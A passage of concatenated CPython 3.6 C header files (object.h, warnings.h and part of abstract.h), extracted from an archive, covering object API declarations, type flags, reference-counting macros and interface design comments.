PyAPI_FUNC(void) _Py_BreakPoint(void); PyAPI_FUNC(void) _PyObject_Dump(PyObject *); PyAPI_FUNC(int) _PyObject_IsFreed(PyObject *); #endif PyAPI_FUNC(PyObject *) PyObject_Repr(PyObject *); PyAPI_FUNC(PyObject *) PyObject_Str(PyObject *); PyAPI_FUNC(PyObject *) PyObject_ASCII(PyObject *); PyAPI_FUNC(PyObject *) PyObject_Bytes(PyObject *); PyAPI_FUNC(PyObject *) PyObject_RichCompare(PyObject *, PyObject *, int); PyAPI_FUNC(int) PyObject_RichCompareBool(PyObject *, PyObject *, int); PyAPI_FUNC(PyObject *) PyObject_GetAttrString(PyObject *, const char *); PyAPI_FUNC(int) PyObject_SetAttrString(PyObject *, const char *, PyObject *); PyAPI_FUNC(int) PyObject_HasAttrString(PyObject *, const char *); PyAPI_FUNC(PyObject *) PyObject_GetAttr(PyObject *, PyObject *); PyAPI_FUNC(int) PyObject_SetAttr(PyObject *, PyObject *, PyObject *); PyAPI_FUNC(int) PyObject_HasAttr(PyObject *, PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(int) _PyObject_IsAbstract(PyObject *); PyAPI_FUNC(PyObject *) _PyObject_GetAttrId(PyObject *, struct _Py_Identifier *); PyAPI_FUNC(int) _PyObject_SetAttrId(PyObject *, struct _Py_Identifier *, PyObject *); PyAPI_FUNC(int) _PyObject_HasAttrId(PyObject *, struct _Py_Identifier *); PyAPI_FUNC(PyObject **) _PyObject_GetDictPtr(PyObject *); #endif PyAPI_FUNC(PyObject *) PyObject_SelfIter(PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyObject_NextNotImplemented(PyObject *); #endif PyAPI_FUNC(PyObject *) PyObject_GenericGetAttr(PyObject *, PyObject *); PyAPI_FUNC(int) PyObject_GenericSetAttr(PyObject *, PyObject *, PyObject *); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03030000 PyAPI_FUNC(int) PyObject_GenericSetDict(PyObject *, PyObject *, void *); #endif PyAPI_FUNC(Py_hash_t) PyObject_Hash(PyObject *); PyAPI_FUNC(Py_hash_t) PyObject_HashNotImplemented(PyObject *); PyAPI_FUNC(int) PyObject_IsTrue(PyObject *); PyAPI_FUNC(int) PyObject_Not(PyObject *); PyAPI_FUNC(int) PyCallable_Check(PyObject *); PyAPI_FUNC(void) PyObject_ClearWeakRefs(PyObject *); #ifndef Py_LIMITED_API PyAPI_FUNC(void) PyObject_CallFinalizer(PyObject *); PyAPI_FUNC(int) PyObject_CallFinalizerFromDealloc(PyObject *); #endif #ifndef Py_LIMITED_API /* Same as PyObject_Generic{Get,Set}Attr, but passing the attributes dict as the last parameter. */ PyAPI_FUNC(PyObject *) _PyObject_GenericGetAttrWithDict(PyObject *, PyObject *, PyObject *); PyAPI_FUNC(int) _PyObject_GenericSetAttrWithDict(PyObject *, PyObject *, PyObject *, PyObject *); #endif /* !Py_LIMITED_API */ /* Helper to look up a builtin object */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject *) _PyObject_GetBuiltin(const char *name); #endif /* PyObject_Dir(obj) acts like Python builtins.dir(obj), returning a list of strings. PyObject_Dir(NULL) is like builtins.dir(), returning the names of the current locals. In this case, if there are no current locals, NULL is returned, and PyErr_Occurred() is false. */ PyAPI_FUNC(PyObject *) PyObject_Dir(PyObject *); /* Helpers for printing recursive container types */ PyAPI_FUNC(int) Py_ReprEnter(PyObject *); PyAPI_FUNC(void) Py_ReprLeave(PyObject *); /* Flag bits for printing: */ #define Py_PRINT_RAW 1 /* No string quotes etc. */ /* `Type flags (tp_flags) These flags are used to extend the type structure in a backwards-compatible fashion. Extensions can use the flags to indicate (and test) when a given type structure contains a new feature. The Python core will use these when introducing new functionality between major revisions (to avoid mid-version changes in the PYTHON_API_VERSION). Arbitration of the flag bit positions will need to be coordinated among all extension writers who publically release their extensions (this will be fewer than you might expect!).. Most flags were removed as of Python 3.0 to make room for new flags. (Some flags are not for backwards compatibility but to indicate the presence of an optional feature; these flags remain of course.) Type definitions should use Py_TPFLAGS_DEFAULT for their tp_flags value. Code can use PyType_HasFeature(type_ob, flag_value) to test whether the given type object has a specified feature. */ /* Set if the type object is dynamically allocated */ #define Py_TPFLAGS_HEAPTYPE (1UL << 9) /* Set if the type allows subclassing */ #define Py_TPFLAGS_BASETYPE (1UL << 10) /* Set if the type is 'ready' -- fully initialized */ #define Py_TPFLAGS_READY (1UL << 12) /* Set while the type is being 'readied', to prevent recursive ready calls */ #define Py_TPFLAGS_READYING (1UL << 13) /* Objects support garbage collection (see objimp.h) */ #define Py_TPFLAGS_HAVE_GC (1UL << 14) /* These two bits are preserved for Stackless Python, next after this is 17 */ #ifdef STACKLESS #define Py_TPFLAGS_HAVE_STACKLESS_EXTENSION (3UL << 15) #else #define Py_TPFLAGS_HAVE_STACKLESS_EXTENSION 0 #endif /* Objects support type attribute cache */ #define Py_TPFLAGS_HAVE_VERSION_TAG (1UL << 18) #define Py_TPFLAGS_VALID_VERSION_TAG (1UL << 19) /* Type is abstract and cannot be instantiated */ #define Py_TPFLAGS_IS_ABSTRACT (1UL << 20) /* These flags are used to determine if a type is a subclass. */ #define Py_TPFLAGS_LONG_SUBCLASS (1UL << 24) #define Py_TPFLAGS_LIST_SUBCLASS (1UL << 25) #define Py_TPFLAGS_TUPLE_SUBCLASS (1UL << 26) #define Py_TPFLAGS_BYTES_SUBCLASS (1UL << 27) #define Py_TPFLAGS_UNICODE_SUBCLASS (1UL << 28) #define Py_TPFLAGS_DICT_SUBCLASS (1UL << 29) #define Py_TPFLAGS_BASE_EXC_SUBCLASS (1UL << 30) #define Py_TPFLAGS_TYPE_SUBCLASS (1UL << 31) #define Py_TPFLAGS_DEFAULT ( \ Py_TPFLAGS_HAVE_STACKLESS_EXTENSION | \ Py_TPFLAGS_HAVE_VERSION_TAG | \ 0) /* NOTE: The following flags reuse lower bits (removed as part of the * Python 3.0 transition). */ /* Type structure has tp_finalize member (3.4) */ #define Py_TPFLAGS_HAVE_FINALIZE (1UL << 0) #ifdef Py_LIMITED_API #define PyType_HasFeature(t,f) ((PyType_GetFlags(t) & (f)) != 0) #else #define PyType_HasFeature(t,f) (((t)->tp_flags & (f)) != 0) #endif #define PyType_FastSubclass(t,f) PyType_HasFeature(t,f) /* The macros Py_INCREF(op) and Py_DECREF(op) are used to increment or decrement reference counts. Py_DECREF calls the object's deallocator function when the refcount falls to 0; for objects that don't contain references to other objects or heap memory this can be the standard function free(). Both macros can be used wherever a void expression is allowed. The argument must not be a NULL pointer. If it may be NULL, use Py_XINCREF/Py_XDECREF instead. The macro _Py_NewReference(op) initialize reference counts to 1, and in special builds (Py_REF_DEBUG, Py_TRACE_REFS) performs additional bookkeeping appropriate to the special build. We assume that the reference count field can never overflow; this can be proven when the size of the field is the same as the pointer size, so we ignore the possibility. Provided a C int is at least 32 bits (which is implicitly assumed in many parts of this code), that's enough for about 2**31 references to an object. XXX The following became out of date in Python 2.2, but I'm not sure XXX what the full truth is now. Certainly, heap-allocated type objects XXX can and should be deallocated. Type objects should never be deallocated; the type pointer in an object is not considered to be a reference to the type object, to save complications in the deallocation function. (This is actually a decision that's up to the implementer of each new type so if you want, you can count such references to the type object.) */ /* First define a pile of simple helper macros, one set per special * build symbol. These either expand to the obvious things, or to * nothing at all when the special mode isn't in effect. The main * macros can later be defined just once then, yet expand to different * things depending on which special build options are and aren't in effect. * Trust me <wink>: while painful, this is 20x easier to understand than, * e.g, defining _Py_NewReference five different times in a maze of nested * #ifdefs (we used to do that -- it was impenetrable). */ #ifdef Py_REF_DEBUG PyAPI_DATA(Py_ssize_t) _Py_RefTotal; PyAPI_FUNC(void) _Py_NegativeRefcount(const char *fname, int lineno, PyObject *op); PyAPI_FUNC(Py_ssize_t) _Py_GetRefTotal(void); #define _Py_INC_REFTOTAL _Py_RefTotal++ #define _Py_DEC_REFTOTAL _Py_RefTotal-- #define _Py_REF_DEBUG_COMMA , #define _Py_CHECK_REFCNT(OP) \ { if (((PyObject*)OP)->ob_refcnt < 0) \ _Py_NegativeRefcount(__FILE__, __LINE__, \ (PyObject *)(OP)); \ } /* Py_REF_DEBUG also controls the display of refcounts and memory block * allocations at the interactive prompt and at interpreter shutdown */ PyAPI_FUNC(void) _PyDebug_PrintTotalRefs(void); #define _PY_DEBUG_PRINT_TOTAL_REFS() _PyDebug_PrintTotalRefs() #else #define _Py_INC_REFTOTAL #define _Py_DEC_REFTOTAL #define _Py_REF_DEBUG_COMMA #define _Py_CHECK_REFCNT(OP) /* a semicolon */; #define _PY_DEBUG_PRINT_TOTAL_REFS() #endif /* Py_REF_DEBUG */ #ifdef COUNT_ALLOCS PyAPI_FUNC(void) inc_count(PyTypeObject *); PyAPI_FUNC(void) dec_count(PyTypeObject *); #define _Py_INC_TPALLOCS(OP) inc_count(Py_TYPE(OP)) #define _Py_INC_TPFREES(OP) dec_count(Py_TYPE(OP)) #define _Py_DEC_TPFREES(OP) Py_TYPE(OP)->tp_frees-- #define _Py_COUNT_ALLOCS_COMMA , #else #define _Py_INC_TPALLOCS(OP) #define _Py_INC_TPFREES(OP) #define _Py_DEC_TPFREES(OP) #define _Py_COUNT_ALLOCS_COMMA #endif /* COUNT_ALLOCS */ #ifdef Py_TRACE_REFS /* Py_TRACE_REFS is such major surgery that we call external routines. */ PyAPI_FUNC(void) _Py_NewReference(PyObject *); PyAPI_FUNC(void) _Py_ForgetReference(PyObject *); PyAPI_FUNC(void) _Py_Dealloc(PyObject *); PyAPI_FUNC(void) _Py_PrintReferences(FILE *); PyAPI_FUNC(void) _Py_PrintReferenceAddresses(FILE *); PyAPI_FUNC(void) _Py_AddToAllObjects(PyObject *, int force); #else /* Without Py_TRACE_REFS, there's little enough to do that we expand code * inline. */ #define _Py_NewReference(op) ( \ _Py_INC_TPALLOCS(op) _Py_COUNT_ALLOCS_COMMA \ _Py_INC_REFTOTAL _Py_REF_DEBUG_COMMA \ Py_REFCNT(op) = 1) #define _Py_ForgetReference(op) _Py_INC_TPFREES(op) #ifdef Py_LIMITED_API PyAPI_FUNC(void) _Py_Dealloc(PyObject *); #else #define _Py_Dealloc(op) ( \ _Py_INC_TPFREES(op) _Py_COUNT_ALLOCS_COMMA \ (*Py_TYPE(op)->tp_dealloc)((PyObject *)(op))) #endif #endif /* !Py_TRACE_REFS */ #define Py_INCREF(op) ( \ _Py_INC_REFTOTAL _Py_REF_DEBUG_COMMA \ ((PyObject *)(op))->ob_refcnt++) #define Py_DECREF(op) \ do { \ PyObject *_py_decref_tmp = (PyObject *)(op); \ if (_Py_DEC_REFTOTAL _Py_REF_DEBUG_COMMA \ --(_py_decref_tmp)->ob_refcnt != 0) \ _Py_CHECK_REFCNT(_py_decref_tmp) \ else \ _Py_Dealloc(_py_decref_tmp); \ } while (0) /* Safely decref `op` and set `op` to NULL, especially useful in tp_clear * and tp_dealloc implementations. * * Note that "the obvious" code can be deadly: * * Py_XDECREF(op); * op = NULL; * * Typically, `op` is something like self->containee, and `self` is done * using its `containee` member. In the code sequence above, suppose * `containee` is non-NULL with a refcount of 1. Its refcount falls to * 0 on the first line, which can trigger an arbitrary amount of code, * possibly including finalizers (like __del__ methods or weakref callbacks) * coded in Python, which in turn can release the GIL and allow other threads * to run, etc. Such code may even invoke methods of `self` again, or cause * cyclic gc to trigger, but-- oops! --self->containee still points to the * object being torn down, and it may be in an insane state while being torn * down. This has in fact been a rich historic source of miserable (rare & * hard-to-diagnose) segfaulting (and other) bugs. * * The safe way is: * * Py_CLEAR(op); * * That arranges to set `op` to NULL _before_ decref'ing, so that any code * triggered as a side-effect of `op` getting torn down no longer believes * `op` points to a valid object. * * There are cases where it's safe to use the naive code, but they're brittle. * For example, if `op` points to a Python integer, you know that destroying * one of those can't cause problems -- but in part that relies on that * Python integers aren't currently weakly referencable. Best practice is * to use Py_CLEAR() even if you can't think of a reason for why you need to. */ #define Py_CLEAR(op) \ do { \ PyObject *_py_tmp = (PyObject *)(op); \ if (_py_tmp != NULL) { \ (op) = NULL; \ Py_DECREF(_py_tmp); \ } \ } while (0) /* Macros to use in case the object pointer may be NULL: */ #define Py_XINCREF(op) \ do { \ PyObject *_py_xincref_tmp = (PyObject *)(op); \ if (_py_xincref_tmp != NULL) \ Py_INCREF(_py_xincref_tmp); \ } while (0) #define Py_XDECREF(op) \ do { \ PyObject *_py_xdecref_tmp = (PyObject *)(op); \ if (_py_xdecref_tmp != NULL) \ Py_DECREF(_py_xdecref_tmp); \ } while (0) #ifndef Py_LIMITED_API /* Safely decref `op` and set `op` to `op2`. * * As in case of Py_CLEAR "the obvious" code can be deadly: * * Py_DECREF(op); * op = op2; * * The safe way is: * * Py_SETREF(op, op2); * * That arranges to set `op` to `op2` _before_ decref'ing, so that any code * triggered as a side-effect of `op` getting torn down no longer believes * `op` points to a valid object. * * Py_XSETREF is a variant of Py_SETREF that uses Py_XDECREF instead of * Py_DECREF. */ #define Py_SETREF(op, op2) \ do { \ PyObject *_py_tmp = (PyObject *)(op); \ (op) = (op2); \ Py_DECREF(_py_tmp); \ } while (0) #define Py_XSETREF(op, op2) \ do { \ PyObject *_py_tmp = (PyObject *)(op); \ (op) = (op2); \ Py_XDECREF(_py_tmp); \ } while (0) #endif /* ifndef Py_LIMITED_API */ /* These are provided as conveniences to Python runtime embedders, so that they can have object code that is not dependent on Python compilation flags. */ PyAPI_FUNC(void) Py_IncRef(PyObject *); PyAPI_FUNC(void) Py_DecRef(PyObject *); #ifndef Py_LIMITED_API PyAPI_DATA(PyTypeObject) _PyNone_Type; PyAPI_DATA(PyTypeObject) _PyNotImplemented_Type; #endif /* !Py_LIMITED_API */ /* _Py_NoneStruct is an object of undefined type which can be used in contexts where NULL (nil) is not suitable (since NULL often means 'error'). Don't forget to apply Py_INCREF() when returning this value!!! */ PyAPI_DATA(PyObject) _Py_NoneStruct; /* Don't use this directly */ #define Py_None (&_Py_NoneStruct) /* Macro for returning Py_None from a function */ #define Py_RETURN_NONE return Py_INCREF(Py_None), Py_None /* Py_NotImplemented is a singleton used to signal that an operation is not implemented for a given type combination. */ PyAPI_DATA(PyObject) _Py_NotImplementedStruct; /* Don't use this directly */ #define Py_NotImplemented (&_Py_NotImplementedStruct) /* Macro for returning Py_NotImplemented from a function */ #define Py_RETURN_NOTIMPLEMENTED \ return Py_INCREF(Py_NotImplemented), Py_NotImplemented /* Rich comparison opcodes */ #define Py_LT 0 #define Py_LE 1 #define Py_EQ 2 #define Py_NE 3 #define Py_GT 4 #define Py_GE 5 #ifndef Py_LIMITED_API /* Maps Py_LT to Py_GT, ..., Py_GE to Py_LE. * Defined in object.c. */ PyAPI_DATA(int) _Py_SwappedOp[]; #endif /* !Py_LIMITED_API */ /* More conventions ================ Argument Checking ----------------- Functions that take objects as arguments normally don't check for nil arguments, but they do check the type of the argument, and return an error if the function doesn't apply to the type. Failure Modes ------------- Functions may fail for a variety of reasons, including running out of memory. This is communicated to the caller in two ways: an error string is set (see errors.h), and the function result differs: functions that normally return a pointer return NULL for failure, functions returning an integer return -1 (which could be a legal return value too!), and other functions return 0 for success and -1 for failure. Callers should always check for errors before using the result. If an error was set, the caller must either explicitly clear it, or pass the error on to its caller. Reference Counts ---------------- It takes a while to get used to the proper usage of reference counts. Functions that create an object set the reference count to 1; such new objects must be stored somewhere or destroyed again with Py_DECREF(). Some functions that 'store' objects, such as PyTuple_SetItem() and PyList_SetItem(), don't increment the reference count of the object, since the most frequent use is to store a fresh object. Functions that 'retrieve' objects, such as PyTuple_GetItem() and PyDict_GetItemString(), also don't increment the reference count, since most frequently the object is only looked at quickly. Thus, to retrieve an object and store it again, the caller must call Py_INCREF() explicitly. NOTE: functions that 'consume' a reference count, like PyList_SetItem(), consume the reference even if the object wasn't successfully stored, to simplify error handling. It seems attractive to make other functions that take an object as argument consume a reference count; however, this may quickly get confusing (even the current practice is already confusing). Consider it carefully, it may save lots of calls to Py_INCREF() and Py_DECREF() at times. */ /* Trashcan mechanism, thanks to Christian Tismer. When deallocating a container object, it's possible to trigger an unbounded chain of deallocations, as each Py_DECREF in turn drops the refcount on "the next" object in the chain to 0. This can easily lead to stack faults, and especially in threads (which typically have less stack space to work with). A container object that participates in cyclic gc can avoid this by bracketing the body of its tp_dealloc function with a pair of macros: static void mytype_dealloc(mytype *p) { ... declarations go here ... PyObject_GC_UnTrack(p); // must untrack first Py_TRASHCAN_SAFE_BEGIN(p) ... The body of the deallocator goes here, including all calls ... ... to Py_DECREF on contained objects. ... Py_TRASHCAN_SAFE_END(p) } CAUTION: Never return from the middle of the body! If the body needs to "get out early", put a label immediately before the Py_TRASHCAN_SAFE_END call, and goto it. Else the call-depth counter (see below) will stay above 0 forever, and the trashcan will never get emptied. How it works: The BEGIN macro increments a call-depth counter. So long as this counter is small, the body of the deallocator is run directly without further ado. But if the counter gets large, it instead adds p to a list of objects to be deallocated later, skips the body of the deallocator, and resumes execution after the END macro. The tp_dealloc routine then returns without deallocating anything (and so unbounded call-stack depth is avoided). When the call stack finishes unwinding again, code generated by the END macro notices this, and calls another routine to deallocate all the objects that may have been added to the list of deferred deallocations. In effect, a chain of N deallocations is broken into N / PyTrash_UNWIND_LEVEL pieces, with the call stack never exceeding a depth of PyTrash_UNWIND_LEVEL. */ #ifndef Py_LIMITED_API /* This is the old private API, invoked by the macros before 3.2.4. Kept for binary compatibility of extensions using the stable ABI. */ PyAPI_FUNC(void) _PyTrash_deposit_object(PyObject*); PyAPI_FUNC(void) _PyTrash_destroy_chain(void); PyAPI_DATA(int) _PyTrash_delete_nesting; PyAPI_DATA(PyObject *) _PyTrash_delete_later; #endif /* !Py_LIMITED_API */ /* The new thread-safe private API, invoked by the macros below. */ PyAPI_FUNC(void) _PyTrash_thread_deposit_object(PyObject*); PyAPI_FUNC(void) _PyTrash_thread_destroy_chain(void); #define PyTrash_UNWIND_LEVEL 50 #define Py_TRASHCAN_SAFE_BEGIN(op) \ do { \ PyThreadState *_tstate = PyThreadState_GET(); \ if (_tstate->trash_delete_nesting < PyTrash_UNWIND_LEVEL) { \ ++_tstate->trash_delete_nesting; /* The body of the deallocator is here. */ #define Py_TRASHCAN_SAFE_END(op) \ --_tstate->trash_delete_nesting; \ if (_tstate->trash_delete_later && _tstate->trash_delete_nesting <= 0) \ _PyTrash_thread_destroy_chain(); \ } \ else \ _PyTrash_thread_deposit_object((PyObject*)op); \ } while (0); #ifndef Py_LIMITED_API PyAPI_FUNC(void) _PyDebugAllocatorStats(FILE *out, const char *block_name, int num_blocks, size_t sizeof_block); PyAPI_FUNC(void) _PyObject_DebugTypeStats(FILE *out); #endif /* ifndef Py_LIMITED_API */ /* Define a pair of assertion macros. These work like the regular C assert(), in that they will abort the process with a message on stderr if the given condition fails to hold, but compile away to nothing if NDEBUG is defined. However, before aborting, Python will also try to call _PyObject_Dump() on the given object. This may be of use when investigating bugs in which a particular object is corrupt (e.g. buggy a tp_visit method in an extension module breaking the garbage collector), to help locate the broken objects. The WITH_MSG variant allows you to supply an additional message that Python will attempt to print to stderr, after the object dump. */ #ifdef NDEBUG /* No debugging: compile away the assertions: */ #define PyObject_ASSERT_WITH_MSG(obj, expr, msg) ((void)0) #else /* With debugging: generate checks: */ #define PyObject_ASSERT_WITH_MSG(obj, expr, msg) \ ((expr) \ ? (void)(0) \ : _PyObject_AssertFailed((obj), \ (msg), \ (__STRING(expr)), \ (__FILE__), \ (__LINE__), \ (__PRETTY_FUNCTION__))) #endif #define PyObject_ASSERT(obj, expr) \ PyObject_ASSERT_WITH_MSG(obj, expr, NULL) /* Declare and define the entrypoint even when NDEBUG is defined, to avoid causing compiler/linker errors when building extensions without NDEBUG against a Python built with NDEBUG defined */ PyAPI_FUNC(void) _PyObject_AssertFailed(PyObject *, const char *, const char *, const char *, int, const char *); #ifdef __cplusplus } #endif #endif /* !Py_OBJECT_H */ python3.6m/warnings.h 0000644 00000003235 15246445047 0010510 0 ustar 00 #ifndef Py_WARNINGS_H #define Py_WARNINGS_H #ifdef __cplusplus extern "C" { #endif #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) _PyWarnings_Init(void); #endif PyAPI_FUNC(int) PyErr_WarnEx( PyObject *category, const char *message, /* UTF-8 encoded string */ Py_ssize_t stack_level); PyAPI_FUNC(int) PyErr_WarnFormat( PyObject *category, Py_ssize_t stack_level, const char *format, /* ASCII-encoded string */ ...); #if !defined(Py_LIMITED_API) || Py_LIMITED_API+0 >= 0x03060000 /* Emit a ResourceWarning warning */ PyAPI_FUNC(int) PyErr_ResourceWarning( PyObject *source, Py_ssize_t stack_level, const char *format, /* ASCII-encoded string */ ...); #endif #ifndef Py_LIMITED_API PyAPI_FUNC(int) PyErr_WarnExplicitObject( PyObject *category, PyObject *message, PyObject *filename, int lineno, PyObject *module, PyObject *registry); #endif PyAPI_FUNC(int) PyErr_WarnExplicit( PyObject *category, const char *message, /* UTF-8 encoded string */ const char *filename, /* decoded from the filesystem encoding */ int lineno, const char *module, /* UTF-8 encoded string */ PyObject *registry); #ifndef Py_LIMITED_API PyAPI_FUNC(int) PyErr_WarnExplicitFormat(PyObject *category, const char *filename, int lineno, const char *module, PyObject *registry, const char *format, ...); #endif /* DEPRECATED: Use PyErr_WarnEx() instead. */ #ifndef Py_LIMITED_API #define PyErr_Warn(category, msg) PyErr_WarnEx(category, msg, 1) #endif #ifdef __cplusplus } #endif #endif /* !Py_WARNINGS_H */ python3.6m/abstract.h 0000644 00000134533 15246445047 0010471 0 ustar 00 #ifndef Py_ABSTRACTOBJECT_H #define Py_ABSTRACTOBJECT_H #ifdef __cplusplus extern "C" { #endif #ifdef PY_SSIZE_T_CLEAN #define PyObject_CallFunction _PyObject_CallFunction_SizeT #define PyObject_CallMethod _PyObject_CallMethod_SizeT #ifndef Py_LIMITED_API #define _PyObject_CallMethodId _PyObject_CallMethodId_SizeT #endif /* !Py_LIMITED_API */ #endif /* Abstract Object Interface (many thanks to Jim Fulton) */ /* PROPOSAL: A Generic Python Object Interface for Python C Modules Problem Python modules written in C that must access Python objects must do so through routines whose interfaces are described by a set of include files. Unfortunately, these routines vary according to the object accessed. To use these routines, the C programmer must check the type of the object being used and must call a routine based on the object type. For example, to access an element of a sequence, the programmer must determine whether the sequence is a list or a tuple: if(is_tupleobject(o)) e=gettupleitem(o,i) else if(is_listitem(o)) e=getlistitem(o,i) If the programmer wants to get an item from another type of object that provides sequence behavior, there is no clear way to do it correctly. The persistent programmer may peruse object.h and find that the _typeobject structure provides a means of invoking up to (currently about) 41 special operators. So, for example, a routine can get an item from any object that provides sequence behavior. However, to use this mechanism, the programmer must make their code dependent on the current Python implementation. Also, certain semantics, especially memory management semantics, may differ by the type of object being used. Unfortunately, these semantics are not clearly described in the current include files. An abstract interface providing more consistent semantics is needed. Proposal I propose the creation of a standard interface (with an associated library of routines and/or macros) for generically obtaining the services of Python objects. This proposal can be viewed as one components of a Python C interface consisting of several components. From the viewpoint of C access to Python services, we have (as suggested by Guido in off-line discussions): - "Very high level layer": two or three functions that let you exec or eval arbitrary Python code given as a string in a module whose name is given, passing C values in and getting C values out using mkvalue/getargs style format strings. This does not require the user to declare any variables of type "PyObject *". This should be enough to write a simple application that gets Python code from the user, execs it, and returns the output or errors. (Error handling must also be part of this API.) - "Abstract objects layer": which is the subject of this proposal. It has many functions operating on objects, and lest you do many things from C that you can also write in Python, without going through the Python parser. - "Concrete objects layer": This is the public type-dependent interface provided by the standard built-in types, such as floats, strings, and lists. This interface exists and is currently documented by the collection of include files provided with the Python distributions. From the point of view of Python accessing services provided by C modules: - "Python module interface": this interface consist of the basic routines used to define modules and their members. Most of the current extensions-writing guide deals with this interface. - "Built-in object interface": this is the interface that a new built-in type must provide and the mechanisms and rules that a developer of a new built-in type must use and follow. This proposal is a "first-cut" that is intended to spur discussion. See especially the lists of notes. The Python C object interface will provide four protocols: object, numeric, sequence, and mapping. Each protocol consists of a collection of related operations. If an operation that is not provided by a particular type is invoked, then a standard exception, NotImplementedError is raised with an operation name as an argument. In addition, for convenience this interface defines a set of constructors for building objects of built-in types. This is needed so new objects can be returned from C functions that otherwise treat objects generically. Memory Management For all of the functions described in this proposal, if a function retains a reference to a Python object passed as an argument, then the function will increase the reference count of the object. It is unnecessary for the caller to increase the reference count of an argument in anticipation of the object's retention. All Python objects returned from functions should be treated as new objects. Functions that return objects assume that the caller will retain a reference and the reference count of the object has already been incremented to account for this fact. A caller that does not retain a reference to an object that is returned from a function must decrement the reference count of the object (using DECREF(object)) to prevent memory leaks. Note that the behavior mentioned here is different from the current behavior for some objects (e.g. lists and tuples) when certain type-specific routines are called directly (e.g. setlistitem). The proposed abstraction layer will provide a consistent memory management interface, correcting for inconsistent behavior for some built-in types. Protocols xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx*/ /* Object Protocol: */ /* Implemented elsewhere: int PyObject_Print(PyObject *o, FILE *fp, int flags); Print an object, o, on file, fp. Returns -1 on error. The flags argument is used to enable certain printing options. The only option currently supported is Py_Print_RAW. (What should be said about Py_Print_RAW?) */ /* Implemented elsewhere: int PyObject_HasAttrString(PyObject *o, const char *attr_name); Returns 1 if o has the attribute attr_name, and 0 otherwise. This is equivalent to the Python expression: hasattr(o,attr_name). This function always succeeds. */ /* Implemented elsewhere: PyObject* PyObject_GetAttrString(PyObject *o, const char *attr_name); Retrieve an attributed named attr_name form object o. Returns the attribute value on success, or NULL on failure. This is the equivalent of the Python expression: o.attr_name. */ /* Implemented elsewhere: int PyObject_HasAttr(PyObject *o, PyObject *attr_name); Returns 1 if o has the attribute attr_name, and 0 otherwise. This is equivalent to the Python expression: hasattr(o,attr_name). This function always succeeds. */ /* Implemented elsewhere: PyObject* PyObject_GetAttr(PyObject *o, PyObject *attr_name); Retrieve an attributed named attr_name form object o. Returns the attribute value on success, or NULL on failure. This is the equivalent of the Python expression: o.attr_name. */ /* Implemented elsewhere: int PyObject_SetAttrString(PyObject *o, const char *attr_name, PyObject *v); Set the value of the attribute named attr_name, for object o, to the value v. Raise an exception and return -1 on failure; return 0 on success. This is the equivalent of the Python statement o.attr_name=v. */ /* Implemented elsewhere: int PyObject_SetAttr(PyObject *o, PyObject *attr_name, PyObject *v); Set the value of the attribute named attr_name, for object o, to the value v. Raise an exception and return -1 on failure; return 0 on success. This is the equivalent of the Python statement o.attr_name=v. */ /* implemented as a macro: int PyObject_DelAttrString(PyObject *o, const char *attr_name); Delete attribute named attr_name, for object o. Returns -1 on failure. This is the equivalent of the Python statement: del o.attr_name. */ #define PyObject_DelAttrString(O,A) PyObject_SetAttrString((O),(A),NULL) /* implemented as a macro: int PyObject_DelAttr(PyObject *o, PyObject *attr_name); Delete attribute named attr_name, for object o. Returns -1 on failure. This is the equivalent of the Python statement: del o.attr_name. */ #define PyObject_DelAttr(O,A) PyObject_SetAttr((O),(A),NULL) /* Implemented elsewhere: PyObject *PyObject_Repr(PyObject *o); Compute the string representation of object, o. Returns the string representation on success, NULL on failure. This is the equivalent of the Python expression: repr(o). Called by the repr() built-in function. */ /* Implemented elsewhere: PyObject *PyObject_Str(PyObject *o); Compute the string representation of object, o. Returns the string representation on success, NULL on failure. This is the equivalent of the Python expression: str(o).) Called by the str() and print() built-in functions. */ /* Declared elsewhere PyAPI_FUNC(int) PyCallable_Check(PyObject *o); Determine if the object, o, is callable. Return 1 if the object is callable and 0 otherwise. This function always succeeds. */ PyAPI_FUNC(PyObject *) PyObject_Call(PyObject *callable_object, PyObject *args, PyObject *kwargs); /* Call a callable Python object, callable_object, with arguments and keywords arguments. The 'args' argument can not be NULL. */ #ifndef Py_LIMITED_API PyAPI_FUNC(PyObject*) _PyStack_AsTuple( PyObject **stack, Py_ssize_t nargs); /* Convert keyword arguments from the (stack, kwnames) format to a Python dictionary. kwnames must only contains str strings, no subclass, and all keys must be unique. kwnames is not checked, usually these checks are done before or later calling _PyStack_AsDict(). For example, _PyArg_ParseStack() raises an error if a key is not a string. */ PyAPI_FUNC(PyObject *) _PyStack_AsDict( PyObject **values, PyObject *kwnames); /* Convert (args, nargs, kwargs: dict) into (stack, nargs, kwnames: tuple). Return 0 on success, raise an exception and return -1 on error. Write the new stack into *p_stack. If *p_stack is differen than args, it must be released by PyMem_Free(). The stack uses borrowed references. The type of keyword keys is not checked, these checks should be done later (ex: _PyArg_ParseStackAndKeywords). */ PyAPI_FUNC(int) _PyStack_UnpackDict( PyObject **args, Py_ssize_t nargs, PyObject *kwargs, PyObject ***p_stack, PyObject **p_kwnames); /* Call the callable object func with the "fast call" calling convention: args is a C array for positional arguments (nargs is the number of positional arguments), kwargs is a dictionary for keyword arguments. If nargs is equal to zero, args can be NULL. kwargs can be NULL. nargs must be greater or equal to zero. Return the result on success. Raise an exception on return NULL on error. */ PyAPI_FUNC(PyObject *) _PyObject_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs); /* Call the callable object func with the "fast call" calling convention: args is a C array for positional arguments followed by values of keyword arguments. Keys of keyword arguments are stored as a tuple of strings in kwnames. nargs is the number of positional parameters at the beginning of stack. The size of kwnames gives the number of keyword values in the stack after positional arguments. kwnames must only contains str strings, no subclass, and all keys must be unique. If nargs is equal to zero and there is no keyword argument (kwnames is NULL or its size is zero), args can be NULL. Return the result on success. Raise an exception and return NULL on error. */ PyAPI_FUNC(PyObject *) _PyObject_FastCallKeywords (PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #define _PyObject_FastCall(func, args, nargs) \ _PyObject_FastCallDict((func), (args), (nargs), NULL) #define _PyObject_CallNoArg(func) \ _PyObject_FastCall((func), NULL, 0) #define _PyObject_CallArg1(func, arg) \ _PyObject_FastCall((func), &(arg), 